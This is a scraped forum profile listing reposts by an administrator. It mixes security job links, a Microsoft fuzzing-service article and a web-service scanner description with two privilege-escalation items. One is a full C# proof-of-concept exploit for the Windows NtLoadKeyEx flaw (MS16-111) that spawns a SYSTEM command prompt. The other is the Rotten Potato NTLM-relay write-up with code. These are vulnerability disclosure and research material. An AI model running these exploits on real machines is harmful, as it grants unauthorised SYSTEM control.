Jump to content

Nytro

Administrators
  • Posts

    18740
  • Joined

  • Last visited

  • Days Won

    711

Everything posted by Nytro

  1. Cateva job-uri selectate: SecureWorks jobs: Penetration Testing Specialist - Dell SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/penetration-testing-specialist-secureworks-91385 Vulnerability Specialist - Dell SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/vulnerability-specialist-85444 Linux System Administrator - Dell SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/linux-system-administrator-secureworks-89426 Application Support Engineer - SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/application-support-engineer-secureworks-95175 Information Security Risk Management Advisor - Dell SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/information-security-risk-management-advisor-dell-secureworks-95997 Data Loss Prevention Advisor - Dell SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/data-loss-prevention-advisor-secureworks-90261 Dell jobs: Technical Support Agent - English: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/technical-support-agent-english-95886 Software Development Expert - Java: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/java-developer-german-speaking-90046 Software Development Senior Specialist - .NET and Oracle: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/.net-senior-software-developer-internal-it-90723 Senior Database Admin: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/senior-database-admin-97106 Incident Management Advisor: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/incident-management-advisor-92485 All jobs: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/search/6283331
  2. https://def.camp/speakers/ionut-popescu-3/
  3. yUuuuuhuuuuuu <3
  4. Prea simplu, mai fun pentru Chrome.
  5. OWASP Bucharest AppSec Conference 2016 - October 6th
  6. Microsoft previews Project Springfield, a cloud-based bug detector David Molnar, left, and Patrice Godefroid, right, are two of the key researchers behind Project Springfield. (Photography by Scott Eklund/Red Box Pictures) Posted September 26, 2016 By Allison Linn Microsoft is making available to its customers one of the most sophisticated tools it has for rooting out potential security vulnerabilities in software including Windows, Office and other products. The offering is code named Project Springfield, and up until now, the team that built it has thought of it as the million-dollar bug detector. That’s because every time the system finds a potentially serious bug proactively, before a piece of software is released, it is saving a developer the costly effort of having to release a patch reactively, once the product is already public. With widely used software such as an operating system or productivity suite, deploying those patches can cost as much as $1 million, the researchers say. Patrice Godefroid (Photography by Scott Eklund/Red Box Pictures) “Those are the bugs that hackers will try to use,” said Patrice Godefroid, a principal researcher at Microsoft who invented a key technology behind Project Springfield and is the project’s chief scientist. “The more we can find those bugs ourselves, the more we can fix them before we ship the software.” Microsoft announced a preview of Project Springfield on Monday at its Ignite technology conference in Atlanta. It has previously been testing the new cloud security service with a small number of customers and collaborators using software on a smaller scale than Windows and Office. The company itself has been using a key component of Project Springfield, called SAGE, since the mid-2000s, testing products including Windows 7 prior to release. Although the Windows 7 operating system code had already been checked by other, similar security tools, Godefroid said SAGE unearthed a number of additional vulnerabilities, eventually accounting for one-third of all the bugs this kind of security testing, which is called fuzz testing, discovered prior to the release. The team overseeing the fuzz testing was impressed. “There aren’t a lot of tools that can do what SAGE does,” said Mark Wodrich, a senior security engineer with Windows Defender Advanced Threat Protection. One tool in the security toolbox Fuzz testing is far from the only security measure developers use, but security experts say it’s an important one in the security development lifecycle. David Molnar, the Microsoft researcher who leads Project Springfield, said fuzz testing is ideal for software that regularly incorporate inputs such as documents, images, videos or other pieces of information that may not be trustworthy. Fuzz testing looks for vulnerabilities that could open the door for bad actors to launch malicious attacks or simply crash the system, causing delays and other problems. “These are the serious bugs that it’s worth investing to prevent,” Molnar said. Broadly speaking, fuzz testing works like this: The system throws random, unexpected inputs at a piece of software to look for instances in which those unforeseen actions cause the software to crash, signaling a security vulnerability. Project Springfield builds on that idea with what it calls “white box fuzz testing.” It uses artificial intelligence to ask a series of “what if” questions and make more sophisticated decisions about what might trigger a crash and signal a security concern. Each time it runs, it gathers data to hone in on the areas that are most critical. This more focused, intelligent approach makes it more likely that Project Springfield will find vulnerabilities other fuzzing tools might miss. David Molnar (Photography by Scott Eklund/Red Box Pictures) From software research to security product SAGE grew out of years of Microsoft’s basic research into formal methods, which are systems for reasoning about code to look for imperfections. As SAGE developed, the researchers were regularly publishing research papers detailing the advantages of their approach. That, in turn, drew the interest of security experts and other researchers who wanted to use the tool as well. “Customers had asked about it for years, but we’d never been able to offer it to them,” Molnar said. In order to make the software security tool available to a broader group of people with fewer resources and security expertise than the Windows and Office organizations, the researchers built Project Springfield. It bundles SAGE with other tools for fuzz testing and adds an easy-to-use dashboard and other interfaces that make it accessible for people without an extensive security background. Then, it runs its tests using an Azure cloud-based system, so individual clients don’t need to have data centers of their own. Finally, the results are delivered securely to the customers, so they can fix the bugs and test the code again. “It’s very simple to use – it’s ‘fire and forget,’” said Gavin Thomas, a principal security software engineering manager with the Microsoft Security Response Center. “You set it up and you walk away.” Thomas first used Project Springfield when a Microsoft customer came to him for help in looking for security vulnerabilities. Thomas said Project Springfield proved as easy to use as any app, and it was so effective at finding bugs that Thomas is in the process of implementing it in his own labs. That will save his expert security engineers the time of manually creating similar tools, allowing them to focus on other issues. The team behind Project Springfield includes, from left, Stas Tishkin, William Blum, Marc Griesen, Cheick Omar Keita, Dave Tamasi, David Molnar (seated) , Theresa Pacheco, Marina Polishchuk, Patrice Godefroid and Ram Nagaraja. (Photography by Scott Eklund/Red Box Pictures) Too many bugs, not enough security experts It turns out that Microsoft customer’s challenge wasn’t unusual. Project Springfield is being released at a time when many companies are facing a tough conundrum: Serious attacks on software are going up, but the supply of security engineers trained to fight those attacks is staying steady. That means plenty of companies can’t afford, or can’t find, the staff they need to do fuzz testing. They need an easier, more automated solution. “Most companies may not have a security engineer and wouldn’t even know what a fuzzer is,” Thomas said. It’s also coming at a time when many companies are revamping their systems to appeal to new digital tastes, adding mobile offerings, online sales or cloud-based services. Chad A. Holmes, a principal and cyber strategy, technology and growth leader for the professional services firm Ernst & Young LLP, said that means many companies need a system like Project Springfield, which has the cloud-based capacity to run a very high volume of security tests at the same time and root out the most critical concerns. “That’s one of the largest challenges they run into, the scale of testing these applications,” Holmes said. “That’s where a tool like Springfield comes in.” EY may offer Project Springfield as part of the security offerings it has for customers. Making beer and finding bugs For many companies, finding bugs is important not just because it can protect a company against hackers but also because it can save time and money. Take the craft beer brewer Deschutes Brewery, for example. If there’s a glitch in the software it uses for analytics, it can literally mean that money – or, in this case, beer – has to go down the drain. “The brewery doesn’t get a batch of beer back when something goes wrong,” said Bryan Owen, a cyber security manager with OSIsoft, which has been helping Deschutes build a system that can bring together data from multiple sources. “It’s just lost.” OSIsoft used Project Springfield to proactively look for bugs and other vulnerabilities as part of an overhaul of Deschutes’ analytics systems, which included installing its PI System,PI Integrator for Microsoft Azure, and deploying the Cortana Intelligence Suite. Deschutes Brewery’s brewmaster, Brian Faivre, said the new analytics systems have helped them figure out ways to make better beer, without having to worry about the technical details. “Our job is really focusing on quality and making beer,” Faivre said. “If, at the end of the day, this is helping us do a better job, that’s what we really value and we care about.” Peter Lee (Photography by Scott Eklund/Red Box Pictures) Beating the bad guys Project Springfield also has been developed at a time in which Microsoft researchers are getting more aggressive about quickly translating their groundbreaking research into tools customers can use. With Project Springfield, Peter Lee, the corporate vice president in charge of Microsoft Research’s New Experiences and Technologies organization, said the team was determined to make sure it was “literally rubbing elbows” with the clients who were participating in an early preview of the system, having regular, face-to-face meetings to make sure it would meet their security needs. “I actually view it as a collaboration,” he said. “In my mind, we’re doing the research together.” Lee said that type of collaboration between researchers and developers is especially important in the security field, because it’s so tough for the good guys in computer security to stay ahead of the bad guys. That’s because the bad guys have the tools, expertise and financial incentive to exploit vulnerabilities faster than the good guys can find them. He sees cloud-based tools like Project Springfield as a key tool in the good guys’ arsenal. “This is one of the areas where, finally, the good guys have an advantage,” he said. Sursa: https://blogs.microsoft.com/next/2016/09/26/microsoft-previews-project-springfield-cloud-based-bug-detector/#sm.001xkp83k12aoe5uqzo2o1ae0f0fz
      • 1
      • Upvote
  7. WSSAT - Web Service Security Assessment Tool Lydecker Black on 11:30 AM | Post sponsored by Netsparker Web Application Security Scanner WSSAT is an open source web service security scanning tool which provides a dynamic environment to add, update or delete vulnerabilities by just editing its configuration files. This tool accepts WSDL address list as input file and for each service, it performs both static and dynamic tests against the security vulnerabilities. It also makes information disclosure controls. With this tool, all web services could be analysed at once and the overall security assessment could be seen by the organization. Objectives of WSSAT are to allow organizations: Perform their web services security analysis at once See overall security assessment with reports Harden their web services WSSAT’s main capabilities include: Dynamic Testing: Insecure Communication - SSL Not Used Unauthenticated Service Method Error Based SQL Injection Cross Site Scripting XML Bomb External Entity Attack - XXE XPATH Injection Verbose SOAP Fault Message Static Analysis: Weak XML Schema: Unbounded Occurrences Weak XML Schema: Undefined Namespace Weak WS-SecurityPolicy: Insecure Transport Weak WS-SecurityPolicy: Insufficient Supporting Token Protection Weak WS-SecurityPolicy: Tokens Not Protected Information Leakage: Server or technology information disclosure WSSAT’s main modules are: Parser Vulnerabilities Loader Analyzer/Attacker Logger Report Generator The main difference of WSSAT is to create a dynamic vulnerability management environment instead of embedding the vulnerabilities into the code. This project has been developed as Term Project at Middle East Technical University (METU), Software Management master program. Download WSSAT Sursa: http://www.kitploit.com/2016/09/wssat-web-service-security-assessment.html
      • 1
      • Upvote
  8. Microsoft Windows 10 10586 (x32/x64) / 8.1 Update 2 - NtLoadKeyEx User Hive Attachment Point Privilege Escalation (MS16-111) /* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=865 Windows: NtLoadKeyEx User Hive Attachment Point EoP Platform: Windows 10 10586 (32/64) and 8.1 Update 2, not tested Windows 7 Class: Elevation of Privilege Summary: The NtLoadKeyEx system call allows an unprivileged user to load registry hives outside of the \Registry\A hidden attachment point which can be used to elevate privileges. Description: Windows Vista and above support loading per-user registry hives. Normally calling NtLoadKeyEx would require Backup/Restore privileges to do this making it useless for the average user.. However per-user hives are permitted from a normal user. When calling the Win32 API RegLoadAppKey the hive is loaded under \Registry\A which is a hidden attachment key and doesn’t provide any obvious benefit from an EoP perspective (especially as the root name is a random GUID). However it turns out that you can load the per-user hive to any attachment point such as \Registry\User or \Registry\Machine. Interestingly this works even as a sandboxed user, so it would be an escape out of EPM/Edge/Bits of Chrome etc. So how can we exploit this? The simplest way I’ve found is to register the hive as the local system "Classes" key. This isn’t registered by default, however a quick inspection indicates that local system does indeed refer to this key when trying to access COM registration information. So by putting an appropriate registration in \Registry\User\S-1-5-18_Classes it will be loaded as a local system component and privileged execution is achieved. Proof of Concept: I’ve provided a PoC as a C# source code file. You need to compile it first. It uses the issue with NtLoadKeyEx to map a custom hive over the local system’s Classes key. It then registers a type library which is loaded when WinLogon is signaled. I signal WinLogon by locking the screen. It abuses the fact that registered type library paths when passed to LoadTypeLib can be a COM moniker. So I register a COM scriptlet moniker which will be bound when LoadTypeLib parses it, this causes a local scriptlet file to be executed which respawns the original binary to spawn an interactive command prompt. By doing it this way it works on 32 bit and 64 bit without any changes. Note that it doesn’t need to use the Lock Screen, just this was the first technique I found. Many system services are loading data out of the registry hive, it would just be a case of finding something which could be trivially triggered by the application. In any case imo the bug is the behaviour of NtLoadKeyEx, not how I exploit it. 1) Compile the C# source code file. 2) Execute the PoC executable as a normal user. 3) The PoC should lock the screen. You’ll need to unlock again (do not log out). 4) If successful a system level command prompt should be available on the user’s desktop when you unlock. Expected Result: You can’t create a per-user hive outside of the hidden attachment point. Observed Result: Well obviously you can. */ using Microsoft.Win32; using Microsoft.Win32.SafeHandles; using System; using System.Diagnostics; using System.IO; using System.Reflection; using System.Runtime.InteropServices; using System.Text; using System.Threading; namespace Poc_NtLoadKeyEx_EoP { class Program { [Flags] public enum AttributeFlags : uint { None = 0, Inherit = 0x00000002, Permanent = 0x00000010, Exclusive = 0x00000020, CaseInsensitive = 0x00000040, OpenIf = 0x00000080, OpenLink = 0x00000100, KernelHandle = 0x00000200, ForceAccessCheck = 0x00000400, IgnoreImpersonatedDevicemap = 0x00000800, DontReparse = 0x00001000, } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public sealed class UnicodeString { ushort Length; ushort MaximumLength; [MarshalAs(UnmanagedType.LPWStr)] string Buffer; public UnicodeString(string str) { Length = (ushort)(str.Length * 2); MaximumLength = (ushort)((str.Length * 2) + 1); Buffer = str; } } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public sealed class ObjectAttributes : IDisposable { int Length; IntPtr RootDirectory; IntPtr ObjectName; AttributeFlags Attributes; IntPtr SecurityDescriptor; IntPtr SecurityQualityOfService; private static IntPtr AllocStruct(object s) { int size = Marshal.SizeOf(s); IntPtr ret = Marshal.AllocHGlobal(size); Marshal.StructureToPtr(s, ret, false); return ret; } private static void FreeStruct(ref IntPtr p, Type struct_type) { Marshal.DestroyStructure(p, struct_type); Marshal.FreeHGlobal(p); p = IntPtr.Zero; } public ObjectAttributes(string object_name) { Length = Marshal.SizeOf(this); if (object_name != null) { ObjectName = AllocStruct(new UnicodeString(object_name)); } Attributes = AttributeFlags.None; } public void Dispose() { if (ObjectName != IntPtr.Zero) { FreeStruct(ref ObjectName, typeof(UnicodeString)); } GC.SuppressFinalize(this); } ~ObjectAttributes() { Dispose(); } } [Flags] public enum LoadKeyFlags { None = 0, AppKey = 0x10, Exclusive = 0x20, Unknown800 = 0x800, } [Flags] public enum GenericAccessRights : uint { None = 0, GenericRead = 0x80000000, GenericWrite = 0x40000000, GenericExecute = 0x20000000, GenericAll = 0x10000000, Delete = 0x00010000, ReadControl = 0x00020000, WriteDac = 0x00040000, WriteOwner = 0x00080000, Synchronize = 0x00100000, MaximumAllowed = 0x02000000, } public class NtException : ExternalException { [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern IntPtr GetModuleHandle(string modulename); [Flags] enum FormatFlags { AllocateBuffer = 0x00000100, FromHModule = 0x00000800, FromSystem = 0x00001000, IgnoreInserts = 0x00000200 } [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern int FormatMessage( FormatFlags dwFlags, IntPtr lpSource, int dwMessageId, int dwLanguageId, out IntPtr lpBuffer, int nSize, IntPtr Arguments ); [DllImport("kernel32.dll")] private static extern IntPtr LocalFree(IntPtr p); private static string StatusToString(int status) { IntPtr buffer = IntPtr.Zero; try { if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts, GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0) { return Marshal.PtrToStringUni(buffer); } } finally { if (buffer != IntPtr.Zero) { LocalFree(buffer); } } return String.Format("Unknown Error: 0x{0:X08}", status); } public NtException(int status) : base(StatusToString(status)) { } } public static void StatusToNtException(int status) { if (status < 0) { throw new NtException(status); } } [DllImport("ntdll.dll")] public static extern int NtLoadKeyEx(ObjectAttributes DestinationName, ObjectAttributes FileName, LoadKeyFlags Flags, IntPtr TrustKeyHandle, IntPtr EventHandle, GenericAccessRights DesiredAccess, out SafeRegistryHandle KeyHandle, int Unused); static string scriptlet_code = @"<?xml version='1.0'?> <package> <component id='giffile'> <registration description='Dummy' progid='giffile' version='1.00' remotable='True'> </registration> <script language='JScript'> <![CDATA[ new ActiveXObject('Wscript.Shell').exec('%CMDLINE%'); ]]> </script> </component> </package> "; public enum TokenInformationClass { TokenSessionId = 12 } [DllImport("ntdll.dll")] public static extern int NtClose(IntPtr handle); [DllImport("ntdll.dll", CharSet = CharSet.Unicode)] public static extern int NtOpenProcessTokenEx( IntPtr ProcessHandle, GenericAccessRights DesiredAccess, AttributeFlags HandleAttributes, out IntPtr TokenHandle); public sealed class SafeKernelObjectHandle : SafeHandleZeroOrMinusOneIsInvalid { public SafeKernelObjectHandle() : base(true) { } public SafeKernelObjectHandle(IntPtr handle, bool owns_handle) : base(owns_handle) { SetHandle(handle); } protected override bool ReleaseHandle() { if (!IsInvalid) { NtClose(this.handle); this.handle = IntPtr.Zero; return true; } return false; } } public enum TokenType { Primary = 1, Impersonation = 2 } [DllImport("ntdll.dll", CharSet = CharSet.Unicode)] public static extern int NtDuplicateToken( IntPtr ExistingTokenHandle, GenericAccessRights DesiredAccess, ObjectAttributes ObjectAttributes, bool EffectiveOnly, TokenType TokenType, out IntPtr NewTokenHandle ); public static SafeKernelObjectHandle DuplicateToken(SafeKernelObjectHandle existing_token) { IntPtr new_token; using (ObjectAttributes obja = new ObjectAttributes(null)) { StatusToNtException(NtDuplicateToken(existing_token.DangerousGetHandle(), GenericAccessRights.MaximumAllowed, obja, false, TokenType.Primary, out new_token)); return new SafeKernelObjectHandle(new_token, true); } } public static SafeKernelObjectHandle OpenProcessToken() { IntPtr new_token; StatusToNtException(NtOpenProcessTokenEx(new IntPtr(-1), GenericAccessRights.MaximumAllowed, AttributeFlags.None, out new_token)); using (SafeKernelObjectHandle ret = new SafeKernelObjectHandle(new_token, true)) { return DuplicateToken(ret); } } [DllImport("ntdll.dll")] public static extern int NtSetInformationToken( SafeKernelObjectHandle TokenHandle, TokenInformationClass TokenInformationClass, byte[] TokenInformation, int TokenInformationLength); public static void SetTokenSessionId(SafeKernelObjectHandle token, int session_id) { byte[] buffer = BitConverter.GetBytes(session_id); NtSetInformationToken(token, TokenInformationClass.TokenSessionId, buffer, buffer.Length); } static Tuple<EventWaitHandle, EventWaitHandle> GetEvents() { EventWaitHandle user_ev = new EventWaitHandle(false, EventResetMode.AutoReset, @"Global\ntloadkey_event_user_wait"); EventWaitHandle sys_ev = new EventWaitHandle(false, EventResetMode.AutoReset, @"Global\ntloadkey_event_sys_wait"); return new Tuple<EventWaitHandle, EventWaitHandle>(user_ev, sys_ev); } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] struct STARTUPINFO { public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX; public Int32 dwY; public Int32 dwXSize; public Int32 dwYSize; public Int32 dwXCountChars; public Int32 dwYCountChars; public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] internal struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } enum CreateProcessFlags { CREATE_BREAKAWAY_FROM_JOB = 0x01000000, CREATE_DEFAULT_ERROR_MODE = 0x04000000, CREATE_NEW_CONSOLE = 0x00000010, CREATE_NEW_PROCESS_GROUP = 0x00000200, CREATE_NO_WINDOW = 0x08000000, CREATE_PROTECTED_PROCESS = 0x00040000, CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, CREATE_SEPARATE_WOW_VDM = 0x00000800, CREATE_SHARED_WOW_VDM = 0x00001000, CREATE_SUSPENDED = 0x00000004, CREATE_UNICODE_ENVIRONMENT = 0x00000400, DEBUG_ONLY_THIS_PROCESS = 0x00000002, DEBUG_PROCESS = 0x00000001, DETACHED_PROCESS = 0x00000008, EXTENDED_STARTUPINFO_PRESENT = 0x00080000, INHERIT_PARENT_AFFINITY = 0x00010000 } [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] static extern bool CreateProcessAsUser( IntPtr hToken, string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, CreateProcessFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); static void SpawnInteractiveCmd(int sessionid) { Tuple<EventWaitHandle, EventWaitHandle> events = GetEvents(); Console.WriteLine("Got Events"); events.Item1.Set(); events.Item2.WaitOne(); SafeKernelObjectHandle token = OpenProcessToken(); SetTokenSessionId(token, sessionid); STARTUPINFO startInfo = new STARTUPINFO(); startInfo.cb = Marshal.SizeOf(startInfo); PROCESS_INFORMATION procInfo; CreateProcessAsUser(token.DangerousGetHandle(), null, "cmd.exe", IntPtr.Zero, IntPtr.Zero, false, CreateProcessFlags.CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref startInfo, out procInfo); } [DllImport("user32.dll")] static extern bool LockWorkStation(); static void DoExploit() { Console.WriteLine("{0}", Assembly.GetCallingAssembly().Location); Tuple<EventWaitHandle, EventWaitHandle> events = GetEvents(); string cmdline = String.Format(@"""{0}"" {1}", Assembly.GetCallingAssembly().Location.Replace('\\', '/'), Process.GetCurrentProcess().SessionId); string scriptlet_path = Path.GetFullPath("dummy.sct"); File.WriteAllText(scriptlet_path, scriptlet_code.Replace("%CMDLINE%", cmdline), Encoding.ASCII); Console.WriteLine("{0}", scriptlet_path); string scriptlet_url = "script:" + new Uri(scriptlet_path).AbsoluteUri; Console.WriteLine("{0}", scriptlet_url); string reg_name = @"\Registry\User\S-1-5-18_Classes"; string path = @"\??\" + Path.GetFullPath("dummy.hiv"); File.Delete("dummy.hiv"); ObjectAttributes KeyName = new ObjectAttributes(reg_name); ObjectAttributes FileName = new ObjectAttributes(path); SafeRegistryHandle keyHandle; StatusToNtException(NtLoadKeyEx(KeyName, FileName, LoadKeyFlags.AppKey, IntPtr.Zero, IntPtr.Zero, GenericAccessRights.GenericAll, out keyHandle, 0)); RegistryKey key = RegistryKey.FromHandle(keyHandle); RegistryKey typelib_key = key.CreateSubKey("TypeLib").CreateSubKey("{D597DEED-5B9F-11D1-8DD2-00AA004ABD5E}").CreateSubKey("2.0").CreateSubKey("0"); typelib_key.CreateSubKey("win32").SetValue(null, scriptlet_url); typelib_key.CreateSubKey("win64").SetValue(null, scriptlet_url); Console.WriteLine("Handle: {0} - Key {1} - Path {2}", keyHandle.DangerousGetHandle(), reg_name, path); Console.WriteLine("Lock screen and re-login."); LockWorkStation(); events.Item1.WaitOne(); typelib_key.DeleteSubKey("win32"); typelib_key.DeleteSubKey("win64"); File.Delete(scriptlet_path); typelib_key.Close(); key.Close(); events.Item2.Set(); } static void Main(string[] args) { try { if (args.Length > 0) { SpawnInteractiveCmd(int.Parse(args[0])); } else { DoExploit(); } } catch (Exception ex) { Console.WriteLine(ex.Message); } } } } Sursa: https://www.exploit-db.com/exploits/40429/?rss
      • 1
      • Upvote
  9. September 26, 2016 Rotten Potato – Privilege Escalation from Service Accounts to SYSTEM By @breenmachine This past Friday, myself and my partner in crime, Chris Mallz (@vvalien1) spoke at DerbyCon about a project we’ve been working on for the last few months. For those interested in watching the talk, it’s online here and the code is available on the FoxGlove Security GitHub page. This blog post is going to dive into some of the technical details of our project in order to remediate @singe’s very accurate observation about our README file on Twitter: So without further delay… Overview As we mentioned a number of times throughout our talk, this work is derived directly from James Forshaw’s BlackHat talk and Google Project Zero research. I highly recommend reviewing both of these resources to anyone interested in pursuing this topic. The idea behind this vulnerability is simple to describe at a high level: Trick the “NT AUTHORITY\SYSTEM” account into authenticating via NTLM to a TCP endpoint we control. Man-in-the-middle this authentication attempt (NTLM relay) to locally negotiate a security token for the “NT AUTHORITY\SYSTEM” account. This is done through a series of Windows API calls. Impersonate the token we have just negotiated. This can only be done if the attackers current account has the privilege to impersonate security tokens. This is usually true of most service accounts and not true of most user-level accounts. Each of these steps are described in the following 3 sections. NTLM Relay to Local Negotiation NTLM relay from the local “NT AUTHORITY\SYSTEM” (we will just call it SYSTEM for brevity) account back to some other system service has been the theme for the Potato privilege escalation exploits. The first step is to trick the SYSTEM account into performing authentication to some TCP listener we control. In the original Hot Potato exploit, we did some complex magic with NBNS spoofing, WPAD, and Windows Update services to trick it into authenticating to us over HTTP. For more information, see the original blog post. Today, we’ll be discussing another method to accomplish the same end goal which James Forshaw discussed here. We’ll basically be tricking DCOM/RPC into NTLM authenticating to us. The advantage of this more complex method is that it is 100% reliable, consistent across Windows versions, and fires instantly rather than sometimes having to wait for Windows Update. Getting Started We’ll be abusing an API call to COM to get this all kicked off. The call is “CoGetInstanceFromIStorage” and to give you some context, here is the relevant code: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public static void BootstrapComMarshal() { IStorage stg = ComUtils.CreateStorage(); // Use a known local system service COM server, in this cast BITSv1 Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097"); TestClass c = new TestClass(stg, String.Format("{0}[{1}]", "127.0.0.1", 6666)); // ip and port MULTI_QI[] qis = new MULTI_QI[1]; qis[0].pIID = ComUtils.IID_IUnknownPtr; qis[0].pItf = null; qis[0].hr = 0; CoGetInstanceFromIStorage(null, ref clsid, null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1, qis); } I’m far from being an expert on COM. The “CoGetInstanceFromIStorage” call attempts to fetch an instance of the specified object from a location specified by the caller. Here we are telling COM we want an instance of the BITS object and we want to load it from 127.0.0.1 on port 6666. It’s actually a little more complex than that, because really we’re fetching the object from an “IStorage” object, not just passing a host/port directly. In the code above “TestClass” is actually an instance of an IStorage object in which we’ve replaced some bits and pieces to point back to “127.0.0.1:6666”. Man-In-The-Middle So, now we have COM trying to talk to us on port 6666 where we’ve spun up a local TCP listener. If we reply in the correct way, we have have COM (running as the SYSTEM account) try to perform NTLM authentication with us. COM is trying to talk to us using the RPC protocol. I’m not particularly fluent in RPC and wouldn’t be surprised if there were slight variations based on Windows versions. In order to avoid many headaches, we’re going to use a trick in order to craft our replies. What we will do is relay any packets we receive from COM on TCP port 6666, back to the local Windows RPC listener on TCP port 135. Since these packets we’re receiving are part of a valid RPC conversation, whatever version of Windows we are running will respond appropriately. We can then use these packets we receive back from Windows RPC on TCP 135 as templates for our replies to COM. If that’s not clear, the following shows the first few packets of this exchange in WireShark: Notice that the first packet we receive (packet #7) is incoming on port 6666 (our listener, this is COM talking to us). Next, we relay that same packet (packet #9) to RPC on TCP 135. Then in packet #11, we get a reply back from RPC (TCP 135), and in packet #13, we relay that reply to COM. We simply repeat this process until it’s time for NTLM authentication to occur. You can think of these initial packets as just setting the stage for the eventual NTLM auth. NTLM Relay and Local Token Negotiation Before we dive into the NTLM relay details, let’s look at it at a high level. The following is from our slide deck: On the left in blue are the packets that COM is going to send to us on TCP port 6666. On the right, in red, are the Windows API calls that we’re going to make using data that we pull out of those packets. Let’s look a little closer at the API calls on the right, since most people will not be familiar with them. In order to locally negotiate a security token using NTLM authentication, one must first call the function “AcquireCredentialsHandle” to get a handle to the data structure we will need. Next, we call “AcceptSecurityContext”, and the input to this function will be the NTLM Type 1 (Negotiate) message. The output will be an NTLM Type 2 (Challenge) message which is sent back to the client trying to authenticate, in this case, DCOM. When the client responds with an NTLM Type 3 (Authenticate) message, we then pass that to a second call to “AcceptSecurityContext” to complete the authentication process and get a token. Let’s look at the packet capture and break this all down… TYPE 1 (NEGOTIATE) PACKET After relaying a few packets between RPC and COM, eventually COM is going to try to initiate NTLM authentication with us by sending the NTLM Type 1 (Negotiate) message, as shown in packet #29 of the packet capture below: This is where things start to get interesting. Again, we relay this to RPC (on TCP 135), and RPC will reply with an NTLM Challenge. But there’s one more thing going on here that you don’t see in the packet capture. When we receive the NTLM Type 1 (Negotiate) message from COM, we rip out the NTLM section of the packet (as shown below), and use it to begin the process of locally negotiating a token: So, as discussed above, we call “AcquireCredentialsHandle”, and then “AcceptSecurityContext”, passing as input the NTLM Type 1 (Negotiate) message we pulled out of that packet. NTLM TYPE 2 (CHALLENGE) PACKET Recall that we forwarded the NTLM Type 1 (Negotiate) packet to RPC on port 135, RPC will now reply with an NTM Type 2 (Challenge) packet which can be seen in our packet capture above in packet #33. This time, we do NOT simply forward this packet back to COM, we need to do some work first. Let’s take a closer look at the two NTLM Type 2 (Challenge) packets from the capture above: Notice the highlighted field “NTLM Server Challenge” and the field below it “Reserved”, and that they differ in value. This would not be the case if we had simply forwarded the packet from RPC (on the left) to COM (the one on the right). Recall that when we made the Windows API call to “AcceptSecurityContext”, the output of that call was an NTLM Type 2 (Challenge) message. What we’ve done here is replace the NTLM blob inside the packet that we are sending to COM with the result of that API call. Why would we do this? Because we need COM, running as the SYSTEM account to authenticate using the NTLM challenge and “Reserved” section that we are using to negotiate our local token, if we did not replace this section in the packet, then our call to “AcceptSecurityContext” would fail. We’ll talk more about how local NTLM authentication works later, but for now just know that the client who is trying to authenticate (in this case SYSTEM through COM) needs to do some magic with the “NTLM Server Challenge” and “Reserved” sections of the NTLM Type 2 (Negotiate) packet, and that we’ll only get our token if this magic is performed on the values produced by our call to “AcceptSecurityContext”. NTLM TYPE 3 (AUTHENTICATE) PACKET So now we’ve forwarded the modified NTLM Type 2(Negotiate) packet to COM where the “Challenge” and “Reserved” fields match the output from “AcceptSecurityContext”. The “Reserved” field is actually a reference to a SecHandle, and when the SYSTEM account receives the NTLM Type 2 message, it will perform authentication behind the scenes in memory. That is why it is so crucial that we update the “Reserved” field… Otherwise, it would be authenticating to RPC instead of US! Once this is completed, COM on behalf of the SYSTEM account will send us back the NTLM Type 3 (Authenticate) packet. This will just be empty (because all the actual authentication here happened in memory), but we will use it to make our final call to “AcceptSecurityContext”. We can then call “ImpersonateSecurityContext” with the result of the final call above to get an impersonation token. Using the ImpersonationToken The following diagram (youtube play bar included) from James Forshaw’s BlackHat talk“Social Engineering the Windows Kernel” shows the pre-requisites to impersonating the token that we have now negotiated: From this, it is clear that if we want to impersonate the token, we better be running as an account with SeImpersonate privilege (or equivalent). Luckily this includes many service accounts in Windows that penetration testers often end up running as. For example, the IIS and SQL Server accounts. The following two videos show the exploit in action: IIS: SQL Server: Sursa: https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
